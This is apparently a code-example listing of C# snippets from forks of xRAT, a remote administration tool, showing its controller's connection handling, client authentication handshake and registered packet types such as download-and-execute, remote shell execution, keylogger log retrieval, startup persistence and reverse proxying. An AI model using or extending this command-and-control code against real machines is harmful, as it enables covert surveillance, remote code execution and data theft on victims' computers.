示例#1
0
        /// <summary>
        /// Constructor, initializes required objects and subscribes to events of the server.
        /// </summary>
        public ConnectionHandler()
        {
            AllTimeConnectedClients = new HashSet<string>();

            _server = new Server();

            _server.AddTypesToSerializer(typeof(IPacket), new Type[]
            {
                typeof (Packets.ServerPackets.GetAuthentication),
                typeof (Packets.ServerPackets.DoClientDisconnect),
                typeof (Packets.ServerPackets.DoClientReconnect),
                typeof (Packets.ServerPackets.DoClientUninstall),
                typeof (Packets.ServerPackets.DoDownloadAndExecute),
                typeof (Packets.ServerPackets.DoUploadAndExecute),
                typeof (Packets.ServerPackets.GetDesktop),
                typeof (Packets.ServerPackets.GetProcesses),
                typeof (Packets.ServerPackets.DoProcessKill),
                typeof (Packets.ServerPackets.DoProcessStart),
                typeof (Packets.ServerPackets.GetDrives),
                typeof (Packets.ServerPackets.GetDirectory),
                typeof (Packets.ServerPackets.DoDownloadFile),
                typeof (Packets.ServerPackets.DoMouseClick),
                typeof (Packets.ServerPackets.GetSystemInfo),
                typeof (Packets.ServerPackets.DoVisitWebsite),
                typeof (Packets.ServerPackets.DoShowMessageBox),
                typeof (Packets.ServerPackets.DoClientUpdate),
                typeof (Packets.ServerPackets.GetMonitors),
                typeof (Packets.ServerPackets.DoShellExecute),
                typeof (Packets.ServerPackets.DoPathRename),
                typeof (Packets.ServerPackets.DoPathDelete),
                typeof (Packets.ServerPackets.DoShutdownAction),
                typeof (Packets.ServerPackets.GetStartupItems),
                typeof (Packets.ServerPackets.DoStartupItemAdd),
                typeof (Packets.ServerPackets.DoStartupItemRemove),
                typeof (Packets.ServerPackets.DoDownloadFileCancel),
                typeof (Packets.ServerPackets.GetKeyloggerLogs),
                typeof (Packets.ServerPackets.DoUploadFile),
                typeof (Packets.ClientPackets.GetAuthenticationResponse),
                typeof (Packets.ClientPackets.SetStatus),
                typeof (Packets.ClientPackets.SetUserStatus),
                typeof (Packets.ClientPackets.GetDesktopResponse),
                typeof (Packets.ClientPackets.GetProcessesResponse),
                typeof (Packets.ClientPackets.GetDrivesResponse),
                typeof (Packets.ClientPackets.GetDirectoryResponse),
                typeof (Packets.ClientPackets.DoDownloadFileResponse),
                typeof (Packets.ClientPackets.GetSystemInfoResponse),
                typeof (Packets.ClientPackets.GetMonitorsResponse),
                typeof (Packets.ClientPackets.DoShellExecuteResponse),
                typeof (Packets.ClientPackets.GetStartupItemsResponse),
                typeof (Packets.ClientPackets.GetKeyloggerLogsResponse),
                typeof (ReverseProxy.Packets.ReverseProxyConnect),
                typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
                typeof (ReverseProxy.Packets.ReverseProxyData),
                typeof (ReverseProxy.Packets.ReverseProxyDisconnect)
            });

            _server.ServerState += OnServerState;
            _server.ClientState += ClientState;
            _server.ClientRead += ClientRead;
        }
示例#2
0
        /// <summary>
        /// Constructor, initializes required objects and subscribes to events of the server.
        /// </summary>
        public ConnectionHandler()
        {
            AllTimeConnectedClients = new HashSet<string>();

            _server = new Server();

            _server.AddTypesToSerializer(typeof(IPacket), new Type[]
            {
                typeof (Packets.ServerPackets.InitializeCommand),
                typeof (Packets.ServerPackets.Disconnect),
                typeof (Packets.ServerPackets.Reconnect),
                typeof (Packets.ServerPackets.Uninstall),
                typeof (Packets.ServerPackets.DownloadAndExecute),
                typeof (Packets.ServerPackets.UploadAndExecute),
                typeof (Packets.ServerPackets.Desktop),
                typeof (Packets.ServerPackets.GetProcesses),
                typeof (Packets.ServerPackets.KillProcess),
                typeof (Packets.ServerPackets.StartProcess),
                typeof (Packets.ServerPackets.Drives),
                typeof (Packets.ServerPackets.Directory),
                typeof (Packets.ServerPackets.DownloadFile),
                typeof (Packets.ServerPackets.MouseClick),
                typeof (Packets.ServerPackets.GetSystemInfo),
                typeof (Packets.ServerPackets.VisitWebsite),
                typeof (Packets.ServerPackets.ShowMessageBox),
                typeof (Packets.ServerPackets.Update),
                typeof (Packets.ServerPackets.Monitors),
                typeof (Packets.ServerPackets.ShellCommand),
                typeof (Packets.ServerPackets.Rename),
                typeof (Packets.ServerPackets.Delete),
                typeof (Packets.ServerPackets.Action),
                typeof (Packets.ServerPackets.GetStartupItems),
                typeof (Packets.ServerPackets.AddStartupItem),
                typeof (Packets.ServerPackets.RemoveStartupItem),
                typeof (Packets.ServerPackets.DownloadFileCanceled),
                typeof (Packets.ServerPackets.GetLogs),
                typeof (Packets.ClientPackets.Initialize),
                typeof (Packets.ClientPackets.Status),
                typeof (Packets.ClientPackets.UserStatus),
                typeof (Packets.ClientPackets.DesktopResponse),
                typeof (Packets.ClientPackets.GetProcessesResponse),
                typeof (Packets.ClientPackets.DrivesResponse),
                typeof (Packets.ClientPackets.DirectoryResponse),
                typeof (Packets.ClientPackets.DownloadFileResponse),
                typeof (Packets.ClientPackets.GetSystemInfoResponse),
                typeof (Packets.ClientPackets.MonitorsResponse),
                typeof (Packets.ClientPackets.ShellCommandResponse),
                typeof (Packets.ClientPackets.GetStartupItemsResponse),
                typeof (Packets.ClientPackets.GetLogsResponse),
                typeof (ReverseProxy.Packets.ReverseProxyConnect),
                typeof (ReverseProxy.Packets.ReverseProxyConnectResponse),
                typeof (ReverseProxy.Packets.ReverseProxyData),
                typeof (ReverseProxy.Packets.ReverseProxyDisconnect)
            });

            _server.ServerState += OnServerState;
            _server.ClientState += ClientState;
            _server.ClientRead += ClientRead;
        }
示例#3
0
文件: FrmSettings.cs 项目: he0x/xRAT
        public FrmSettings(Server listenServer)
        {
            this._listenServer = listenServer;

            InitializeComponent();

            if (listenServer.Listening)
            {
                btnListen.Text = "Stop listening";
                ncPort.Enabled = false;
                txtPassword.Enabled = false;
            }
        }
示例#4
0
 /// <summary>
 /// Decides if the client connected or disconnected.
 /// </summary>
 /// <param name="server">The server the client is connected to.</param>
 /// <param name="client">The client which changed its state.</param>
 /// <param name="connected">True if the client connected, false if disconnected.</param>
 private void OnClientState(Server server, Client client, bool connected)
 {
     switch (connected)
     {
         case true:
             new Packets.ServerPackets.GetAuthentication().Execute(client); // begin handshake
             break;
         case false:
             if (client.Authenticated)
             {
                 OnClientDisconnected(client);
             }
             break;
     }
 }
示例#5
0
        /// <summary>
        /// Forwards received packets from the client to the PacketHandler.
        /// </summary>
        /// <param name="server">The server the client is connected to.</param>
        /// <param name="client">The client which has received the packet.</param>
        /// <param name="packet">The received packet.</param>
        private void OnClientRead(Server server, Client client, IPacket packet)
        {
            var type = packet.GetType();

            if (!client.Authenticated)
            {
                if (type == typeof (Packets.ClientPackets.GetAuthenticationResponse))
                {
                    client.Authenticated = true;
                    new Packets.ServerPackets.SetAuthenticationSuccess().Execute(client); // finish handshake
                    CommandHandler.HandleGetAuthenticationResponse(client,
                        (Packets.ClientPackets.GetAuthenticationResponse) packet);
                    OnClientConnected(client);
                }
                else
                {
                    client.Disconnect();
                }
                return;
            }

            PacketHandler.HandlePacket(client, packet);
        }
示例#6
0
 private void ServerState(Server server, bool listening, ushort port)
 {
     try
     {
         this.Invoke((MethodInvoker) delegate
         {
             if (!listening)
                 lstClients.Items.Clear();
             listenToolStripStatusLabel.Text = listening ? string.Format("Listening on port {0}.", port) : "Not listening.";
         });
         UpdateWindowTitle();
     }
     catch (InvalidOperationException)
     {
     }
 }
示例#7
0
 /// <summary>
 /// Fires an event that informs subscribers that the server has changed it's state.
 /// </summary>
 /// <param name="server">The server which changed it's state.</param>
 /// <param name="listening">The new listening state of the server.</param>
 private void OnServerState(Server server, bool listening)
 {
     if (ServerState != null)
     {
         ServerState(server.Port, listening);
     }
 }
示例#8
0
 /// <summary>
 /// Decides if the client connected or disconnected.
 /// </summary>
 /// <param name="server">The server the client is connected to.</param>
 /// <param name="client">The client which changed its state.</param>
 /// <param name="connected">True if the client connected, false if disconnected.</param>
 private void ClientState(Server server, Client client, bool connected)
 {
     switch (connected)
     {
         case true:
             OnClientConnected(client);
             break;
         case false:
             OnClientDisconnected(client);
             break;
     }
 }
示例#9
0
 /// <summary>
 /// Forwards received packets from the client to the PacketHandler.
 /// </summary>
 /// <param name="server">The server the client is connected to.</param>
 /// <param name="client">The client which has received the packet.</param>
 /// <param name="packet">The received packet.</param>
 private void ClientRead(Server server, Client client, IPacket packet)
 {
     PacketHandler.HandlePacket(client, packet);
 }
示例#10
0
文件: FrmMain.cs 项目: S3NS4Ti0N/xRAT
 private void ServerState(Server server, bool listening)
 {
     try
     {
         this.Invoke((MethodInvoker) delegate
         {
             botListen.Text = listening ? string.Format("Listening on port {0}.", server.Port) : "Not listening.";
         });
     }
     catch (InvalidOperationException)
     {
     }
 }
示例#11
0
文件: FrmMain.cs 项目: S3NS4Ti0N/xRAT
        private void ClientState(Server server, Client client, bool connected)
        {
            if (connected)
            {
                client.Value = new UserState();
                // Initialize the UserState so we can store values in there if we need to.

                new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
            }
            else
            {
                if (client.Value != null)
                {
                    client.Value.DisposeForms();
                    client.Value = null;
                }

                RemoveClientFromListview(client);
            }
        }
示例#12
0
文件: FrmMain.cs 项目: Vivinox85/xRAT
        private void ClientState(Server server, Client client, bool connected)
        {
            if (connected)
            {
                new Core.Packets.ServerPackets.InitializeCommand().Execute(client);
            }
            else
            {
                if (client.Value != null)
                {
                    client.Value.DisposeForms();
                    client.Value = null;
                }

                RemoveClientFromListview(client);
            }
        }